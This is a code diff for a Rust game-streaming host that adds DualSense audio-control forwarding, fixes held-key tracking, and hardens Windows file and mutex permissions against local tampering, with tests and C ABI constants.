/// there is nothing to renew. See [`RENEW_EVERY`].
last_sent: Option<Instant>,
@@ -123,6 +129,25 @@ impl HidoutDedup {
}
// One-shot haptic pulse (Steam voice-coil) — state-less, always fires.
HidOutput::TrackpadHaptic { .. } => true,
HidOutput::AudioCtl { pad, flags, raw } => {
let v = Some((*flags, *raw));
if self.audio_ctl == v {
false
} else {
// Field-diagnosis signal, once per pad lifetime: a title driving the DS5's
// audio haptics (not plain rumble emulation, whose all-zero audio region
// never reaches here) — the trace that tells "the game does audio haptics"
// apart from "the client just doesn't render them".
if flags & 0x01 != 0 && !self.haptics_select_logged {
self.haptics_select_logged = true;
tracing::info!(
"DS5 title asserted haptics-select (audio haptics) pad={pad}"
);
}
self.audio_ctl = v;
true
}
}
// Raw as-is passthrough reports must NEVER dedup: the physical device's firmware
// watchdogs RELY on identical periodic refreshes (Triton rumble re-sent every ~40 ms
// against a ~50 ms safety timeout, lizard-off every ~3 s) — dropping a repeat would
@@ -302,4 +327,29 @@ mod tests {
// The pulse stamped the clock but latched no state, so the renewal has nothing to repeat.
assert!(d.renewals(0, t + Duration::from_millis(1000)).is_empty());
}
/// `AudioCtl` dedups by value like the other state kinds: an identical repeat (every output
/// report re-sends the unchanged audio region) is dropped, a flags-only or raw-only change
/// forwards again, and `clear` re-arms — including the once-per-pad haptics-select log flag.
#[test]
fn audio_ctl_dedups_by_value() {
let mut d = HidoutDedup::default();
let t = Instant::now();
let audio = |flags, vol| HidOutput::AudioCtl {
pad: 0,
flags,
raw: [vol, 0, 0, 0, 0, 0],
};
// Identical twice → exactly one emission.
assert!(d.should_forward(&audio(0x17, 0x50), t));
assert!(!d.should_forward(&audio(0x17, 0x50), t));
// Either half changing (flags, or the raw region) forwards again.
assert!(d.should_forward(&audio(0x16, 0x50), t));
assert!(d.should_forward(&audio(0x16, 0x60), t));
// The other kinds' state is untouched by audio traffic.
assert!(d.should_forward(&HidOutput::PlayerLeds { pad: 0, bits: 1 }, t));
// `clear` (pad re-plug) re-arms the value dedup.
d.clear();
assert!(d.should_forward(&audio(0x16, 0x60), t));
}
}
+14 -3
View File
@@ -1022,10 +1022,21 @@ impl EiState {
// Track held state on the wire codes so `release_all` can undo it at
// session end (vanished clients must not leave anything latched).
match ev.kind {
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
self.held_keys.push(ev.code);
// Track the code we ACTUALLY INJECTED, not the raw wire code.
//
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
// never matched the entry a KeyDown for 0x141 left behind. A client sending
// distinct high bytes therefore appended entries that could never be removed, to a
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
// truncated code makes the list correct AND bounds it at 256 entries by
// construction. `release_all` re-injects through the same truncation, so the
// release path is unchanged.
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
self.held_keys.push(ev.code & 0xff);
}
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
self.held_buttons.push(ev.code);
}
@@ -535,7 +535,7 @@ pub mod out_report {
/// Parse a DualSense USB output report (`0x02`) into a [`DsFeedback`], indexed off
/// [`out_report`]. Only the well-understood fields (motor rumble, lightbar RGB, player LEDs) are
/// surfaced — adaptive-trigger blocks are forwarded raw for the client.
/// surfaced — adaptive-trigger blocks and the audio-control region are forwarded raw for the client.
///
/// Every field is gated on the report's valid-flags (`valid_flag0` at data[1], `valid_flag1`
/// at data[2]) — writers only set the bits for fields they mean to change (the rest is zeroed),
@@ -592,6 +592,21 @@ pub fn parse_ds_output(pad: u8, data: &[u8], fb: &mut DsFeedback) {
});
}
}
// The audio-control region (bytes 5..=10: headphone/speaker/mic volumes + routing), for the
// pad-audio path. The wire flags condense the report's audio bits: bit0 = haptics-select
// (flag0 BIT1 — set on every SDL rumble write too, which is why it alone never triggers an
// emission), bits1..4 = flag0 bits 4..7 (the audio-valid flags gating the region). Emitted
// whenever an audio-valid flag is present or the region carries data; downstream dedup
// ([`crate::hidout_dedup`]) reduces the per-report repeats to genuine changes.
let raw: [u8; 6] = data[5..11].try_into().unwrap();
if flag0 & 0xF0 != 0 || raw != [0u8; 6] {
let flags = ((flag0 >> 1) & 0x01) | ((flag0 >> 3) & 0x1E);
fb.hidout.push(HidOutput::AudioCtl {
pad: pad.into(),
flags,
raw,
});
}
}
#[cfg(test)]
@@ -917,6 +932,48 @@ mod tests {
assert_eq!(*DUALSENSE_EDGE_RDESC.last().unwrap(), 0xC0);
}
/// A 0x02 report driving the pad's audio (haptics-select + audio-valid flags + the volume/
/// routing bytes) surfaces an `AudioCtl` with the exact raw region and the condensed flags;
/// a plain rumble write (haptics-select but a silent audio region — every SDL rumble) does
/// NOT — that is what `parse_output_respects_valid_flags` pins with its `hidout.is_empty()`.
#[test]
fn parse_output_surfaces_audio_ctl() {
let mut data = vec![0u8; 48];
data[0] = 0x02;
data[1] = 0xB2; // flag0: haptics-select (BIT1) + audio-valid bits 4/5/7
data[5] = 0x50; // headphone volume
data[6] = 0x60; // speaker volume
data[7] = 0x70; // mic volume
data[8] = 0x05; // audio routing / enable bits
let mut fb = DsFeedback::default();
parse_ds_output(3, &data, &mut fb);
// flags: bit0 = flag0 bit1, bits1..4 = flag0 bits 4..7 (0b1011 → 0b10110).
assert_eq!(
fb.hidout,
vec![HidOutput::AudioCtl {
pad: 3,
flags: 0b1_0111,
raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
}]
);
// A non-zero audio region with NO audio-valid flags still surfaces (dedup collapses the
// repeats downstream) — some writers leave stale volumes gated off; the host side wants
// the honest bytes either way.
let mut data = vec![0u8; 48];
data[0] = 0x02;
data[9] = 0x01;
let mut fb = DsFeedback::default();
parse_ds_output(0, &data, &mut fb);
assert_eq!(
fb.hidout,
vec![HidOutput::AudioCtl {
pad: 0,
flags: 0,
raw: [0, 0, 0, 0, 0x01, 0],
}]
);
}
/// A short / wrong-id report yields nothing.
#[test]
fn parse_output_rejects_garbage() {
@@ -518,6 +518,7 @@ mod tests {
index: 2,
kind: 1,
capabilities: 0,
audio_caps: 0,
});
assert!(m.slots.get(2).is_some());
}
+92 -17
View File
@@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
{
let r = std::fs::create_dir_all(dir);
#[cfg(windows)]
restrict_dir_to_system_admins(dir);
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
r
}
}
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
/// expensive recursive re-own.
///
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
/// would re-walk the whole config tree — recordings, art cache — for nothing.
#[cfg(windows)]
fn first_hardening_of(dir: &std::path::Path) -> bool {
use std::collections::HashSet;
use std::sync::{Mutex, OnceLock};
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
.lock()
.map(|mut s| s.insert(dir.to_path_buf()))
.unwrap_or(false)
}
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
/// Administrators.
///
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
#[cfg(windows)]
pub fn restrict_existing_secret_file(path: &std::path::Path) {
if !path.exists() {
return;
}
let icacls = icacls_path();
let _ = std::process::Command::new(&icacls)
.arg(path.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
restrict_to_system_admins(path);
}
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
#[cfg(not(windows))]
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
#[cfg(windows)]
fn icacls_path() -> String {
std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string())
}
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
@@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
#[cfg(windows)]
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
// needless churn (secret files are individually owner-locked by `write_secret_file`).
let _ = std::process::Command::new(&icacls)
.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
let icacls = icacls_path();
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
//
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
// Re-owning only the directory left every file the attacker had already created still owned by
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
// deep pass at startup closes it without re-walking recordings and art cache on every write.
let mut own = std::process::Command::new(&icacls);
own.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
if deep {
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
}
let _ = own
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
@@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
"/grant:r",
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
"/grant:r",
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
// so a file a local user created before the hardening ran stayed writable by them even
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
// Administrators cover every account that legitimately writes here; a non-elevated
// manual run gets read-only config, which is the intended boundary rather than a
// regression — this directory drives command execution as SYSTEM.
"/grant:r",
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
])
@@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
///
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
///
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
/// window becomes real again.
pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
use std::io::Write;
let mut opts = std::fs::OpenOptions::new();
@@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
#[cfg(windows)]
fn restrict_to_system_admins(path: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
let icacls = icacls_path();
let status = std::process::Command::new(icacls)
.arg(path.as_os_str())
.args([
+5
View File
@@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" }
bytemuck = { version = "1.19", features = ["derive"] }
windows = { version = "0.62", features = [
"Win32_Foundation",
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
"Win32_Security",
"Win32_Security_Authorization",
"Win32_Devices_DeviceAndDriverInstallation",
"Win32_Devices_Display",
"Win32_Graphics_Gdi",
@@ -2465,11 +2465,18 @@ pub fn ei_socket_file() -> std::path::PathBuf {
crate::with_env_lock(pf_paths::gamescope_ei_socket_file)
}
/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's
/// single instance free before a dedicated spawn (B1). Pure + unit-tested.
/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single
/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on.
/// Pure + unit-tested.
///
/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry
/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more*
/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged
/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with
/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the
/// launch that most needs them.
fn is_steam_launch(cmd: &str) -> bool {
let mut it = cmd.split_whitespace();
it.next() == Some("steam") && cmd.contains("steam://")
cmd.split_whitespace().next() == Some("steam")
}
/// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch
@@ -2865,7 +2872,13 @@ mod tests {
assert!(is_steam_launch("steam -silent steam://rungameid/570"));
assert!(!is_steam_launch("vkcube"));
assert!(!is_steam_launch("lutris lutris:rungameid/42"));
assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch
// A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the
// single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would
// have skipped both for the one launch that is Big Picture itself.
assert!(is_steam_launch("steam -gamepadui"));
assert!(is_steam_launch("steam"));
// A command that merely mentions steam elsewhere is not a Steam client launch.
assert!(!is_steam_launch("mygame --steam-overlay"));
}
#[test]
@@ -2891,6 +2904,13 @@ mod tests {
shape_dedicated_command("steam -bigpicture"),
"steam -bigpicture"
);
// The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever
// fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice.
assert_eq!(
shape_dedicated_command("steam -gamepadui"),
"steam -gamepadui"
);
assert_eq!(shape_dedicated_command("steam"), "steam");
}
#[test]
@@ -3,6 +3,7 @@
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
use super::*;
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
@@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
machine refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
service stop`) first.";
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
// security attributes this object took the DACL from the creating token's default, and a
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
// below and reports a perfectly reasonable "another instance is managing the driver", which
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
//
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
// the OWNER of a name that already exists so a squat is reported as a squat.
let sd = security_descriptor()?;
let sa = SECURITY_ATTRIBUTES {
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
lpSecurityDescriptor: sd.0,
bInheritHandle: false.into(),
};
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
// protocol for pre-existing named objects.
unsafe {
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
Ok(h) => h,
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
// is live; it is ALSO exactly what a squat looks like, so say both.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process any \
account with SeCreateGlobalPrivilege can create it first and deny us access, \
which disables virtual-display streaming until that process exits. Find the \
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
),
Err(e) => {
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
}
@@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
let already = GetLastError() == ERROR_ALREADY_EXISTS;
let owned = OwnedHandle::from_raw_handle(h.0 as _);
if already {
// We opened an existing object — so its DACL let us in, but that says nothing about
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
if let Some(owner) = object_owner_sid(h) {
if !is_privileged_sid(&owner) {
anyhow::bail!(
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
process (owner SID {owner}) this is not another punktfunk-host, it is a \
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
virtual-display streaming while it is held."
);
}
}
anyhow::bail!("{IN_USE}");
}
Ok(owned)
}
}
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
fn security_descriptor() -> Result<LocalSd> {
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
let mut psd = PSECURITY_DESCRIPTOR::default();
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
// allocation is taken over by `LocalSd` below.
unsafe {
ConvertStringSecurityDescriptorToSecurityDescriptorW(
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
SDDL_REVISION_1,
&mut psd,
None,
)
}
.context("build the pf-vdisplay single-instance security descriptor")?;
Ok(LocalSd(psd.0))
}
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
struct LocalSd(*mut core::ffi::c_void);
impl Drop for LocalSd {
fn drop(&mut self) {
if !self.0.is_null() {
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
// which documents LocalFree as the matching deallocation.
unsafe {
let _ = windows::Win32::Foundation::LocalFree(Some(
windows::Win32::Foundation::HLOCAL(self.0),
));
}
self.0 = std::ptr::null_mut();
}
}
}
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
fn object_owner_sid(h: HANDLE) -> Option<String> {
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
};
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
let mut owner = PSID::default();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
// allocation and is LocalFree'd below.
let rc = unsafe {
GetSecurityInfo(
h,
SE_KERNEL_OBJECT,
OWNER_SECURITY_INFORMATION,
Some(&mut owner),
None,
None,
None,
Some(&mut sd),
)
};
let out = if rc.is_ok() && !owner.is_invalid() {
let mut sid_str = windows::core::PWSTR::null();
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
// LocalAlloc'd string is freed immediately below.
unsafe {
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
let text = sid_str.to_string().unwrap_or_default();
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
Some(text)
} else {
None
}
}
} else {
None
};
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
// which LocalFree tolerates).
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
out
}
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
/// legitimate pf-vdisplay manager runs as.
fn is_privileged_sid(sid: &str) -> bool {
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
}
+201
View File
@@ -670,6 +670,12 @@ pub const PUNKTFUNK_HIDOUT_TRIGGER: u8 = 3;
/// side (0 = right pad, 1 = left pad); `effect[0..6]` packs `amplitude` / `period` / `count` as
/// little-endian `u16`s with `effect_len = 6`. Clients without trackpad coils drop it.
pub const PUNKTFUNK_HIDOUT_TRACKPAD_HAPTIC: u8 = 4;
/// `PunktfunkHidOutput::kind` — the audio-control region of a DS5 output report (pad-audio
/// routing/volumes; the audio SAMPLES arrive via [`punktfunk_connection_next_pad_audio`]).
/// `which` = the condensed audio flags (bit0 = haptics-select, bits1..4 = the report's
/// audio-valid flags); `effect[0..6]` = bytes 5..=10 of the report verbatim
/// (headphone/speaker/mic volumes + routing) with `effect_len = 6`. Forwarded change-only.
pub const PUNKTFUNK_HIDOUT_AUDIO_CTL: u8 = 5;
/// Capacity of `PunktfunkHidOutput::effect` (the DualSense trigger parameter block).
pub const PUNKTFUNK_HID_EFFECT_MAX: u8 = 11;
@@ -762,6 +768,17 @@ impl PunktfunkHidOutput {
out.effect_len = 6;
}
HidOutput::HidRaw { .. } => return None,
HidOutput::AudioCtl { pad, flags, raw } => {
// Same packing idiom as TrackpadHaptic: `which` carries the flags byte,
// `effect[0..6]` the raw audio region. The u16 wire pad narrows losslessly
// because `HidOutput::decode` refuses one at or above `input::MAX_PADS` (B27) —
// it is enforced there, not merely assumed here.
out.kind = PUNKTFUNK_HIDOUT_AUDIO_CTL;
out.pad = *pad as u8;
out.which = *flags;
out.effect[0..6].copy_from_slice(raw);
out.effect_len = 6;
}
}
Some(out)
}
@@ -1175,6 +1192,25 @@ pub const PUNKTFUNK_HOST_CAP_CLIPBOARD: u8 = 0x02;
/// the client keeps its pen-as-touch fallback. (Mirrors `quic::HOST_CAP_PEN`;
/// design/pen-tablet-input.md.)
pub const PUNKTFUNK_HOST_CAP_PEN: u8 = 0x10;
/// Host-capability bit in [`punktfunk_connection_host_caps`]: the host can capture per-gamepad
/// audio (DualSense voice-coil haptics + speaker) and emit it on the 0xD1 plane toward pads
/// declared capable via [`punktfunk_connection_set_pad_audio_caps`]. Set only when the client
/// asked via [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`]. (Mirrors `quic::HOST_CAP_PAD_AUDIO`.)
pub const PUNKTFUNK_HOST_CAP_PAD_AUDIO: u8 = 0x40;
/// Pad-audio `kind` ([`punktfunk_connection_next_pad_audio`]): the BACK channel pair — DualSense
/// voice-coil haptics, 5 ms Opus frames. (Mirrors `quic::PAD_AUDIO_KIND_HAPTICS`.)
pub const PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS: u8 = 0;
/// Pad-audio `kind`: the FRONT channel pair — the controller's built-in speaker, 10 ms Opus
/// frames. (Mirrors `quic::PAD_AUDIO_KIND_SPEAKER`.)
pub const PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER: u8 = 1;
/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the HAPTICS
/// stream (a real DualSense's voice coils).
pub const PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS: u8 = 0x01;
/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the SPEAKER
/// stream.
pub const PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER: u8 = 0x02;
// Keep the ABI cap bits in lockstep with the wire constants (compile-time guard against drift).
#[cfg(feature = "quic")]
@@ -1189,6 +1225,20 @@ const _: () = {
assert!(PUNKTFUNK_HOST_CAP_GAMEPAD_STATE == crate::quic::HOST_CAP_GAMEPAD_STATE);
assert!(PUNKTFUNK_HOST_CAP_CLIPBOARD == crate::quic::HOST_CAP_CLIPBOARD);
assert!(PUNKTFUNK_HOST_CAP_PEN == crate::quic::HOST_CAP_PEN);
assert!(PUNKTFUNK_HOST_CAP_PAD_AUDIO == crate::quic::HOST_CAP_PAD_AUDIO);
assert!(PUNKTFUNK_CLIENT_CAP_PAD_AUDIO == crate::quic::CLIENT_CAP_PAD_AUDIO);
assert!(PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS == crate::quic::PAD_AUDIO_KIND_HAPTICS);
assert!(PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER == crate::quic::PAD_AUDIO_KIND_SPEAKER);
// The setter's caps bits are the arrival flags bits 8/9 shifted down (the wire packing
// `input::encode_gamepad_arrival` applies).
assert!(
(PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS as u32) << 8
== crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS
);
assert!(
(PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER as u32) << 8
== crate::input::ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
);
assert!(PUNKTFUNK_PEN_IN_RANGE == crate::quic::PEN_IN_RANGE);
assert!(PUNKTFUNK_PEN_TOUCHING == crate::quic::PEN_TOUCHING);
assert!(PUNKTFUNK_PEN_BARREL1 == crate::quic::PEN_BARREL1);
@@ -1771,6 +1821,13 @@ pub const PUNKTFUNK_CLIENT_CAP_CURSOR: u8 = 0x01;
/// forward-compatible.
pub const PUNKTFUNK_CLIENT_CAP_PHASE_LOCK: u8 = 0x02;
/// [`punktfunk_connect_ex9`] `client_caps` bit: the client understands the pad-audio plane
/// (0xD1 — per-gamepad DualSense voice-coil haptics + speaker). The embedder MUST then drain
/// [`punktfunk_connection_next_pad_audio`] and declare each capable pad via
/// [`punktfunk_connection_set_pad_audio_caps`]; the host emits pad audio only when it answers
/// with [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`]. (Mirrors `quic::CLIENT_CAP_PAD_AUDIO`.)
pub const PUNKTFUNK_CLIENT_CAP_PAD_AUDIO: u8 = 0x08;
/// Shared body of [`punktfunk_connect_ex7`] / [`punktfunk_connect_ex8`]: `status_out`
/// (nullable) is written on EVERY path — `Ok`, the mapped [`PunktfunkError`],
/// `InvalidArg` for bad arguments, `Panic` if the connect panicked.
@@ -2315,6 +2372,117 @@ pub unsafe extern "C" fn punktfunk_connection_next_audio_pcm(
})
}
/// Pull the next pad-audio frame (0xD1) — one Opus frame of DualSense voice-coil haptics
/// (`kind` = [`PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
/// ([`PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `*out_pad` — waiting up to
/// `timeout_ms`. The payload is COPIED into `buf` (no borrow-until-next-call slot); the return
/// value is its length in bytes, `0` = nothing this poll (timeout — or a DTX/oversized frame,
/// both of which an embedder treats the same way), `-1` = the session ended (or an invalid
/// handle/buffer). All pads/kinds share one queue — fan out by `*out_pad`/`*out_kind` to
/// per-actuator Opus decoders. A frame larger than `buf_len` is dropped like the timeout case
/// (the plane is lossy by design; any real Opus frame fits a 1500-byte buffer). Only a session
/// connected with [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`] against a
/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — with the pad declared via
/// [`punktfunk_connection_set_pad_audio_caps`] — ever receives any. Drain from a dedicated
/// thread (one puller, may run alongside the other planes' pullers).
///
/// # Safety
/// `c` is a valid connection handle; the `out_*` pointers are writable (NULLs are skipped);
/// `buf` is writable for `buf_len` bytes.
#[cfg(feature = "quic")]
#[no_mangle]
pub unsafe extern "C" fn punktfunk_connection_next_pad_audio(
c: *mut PunktfunkConnection,
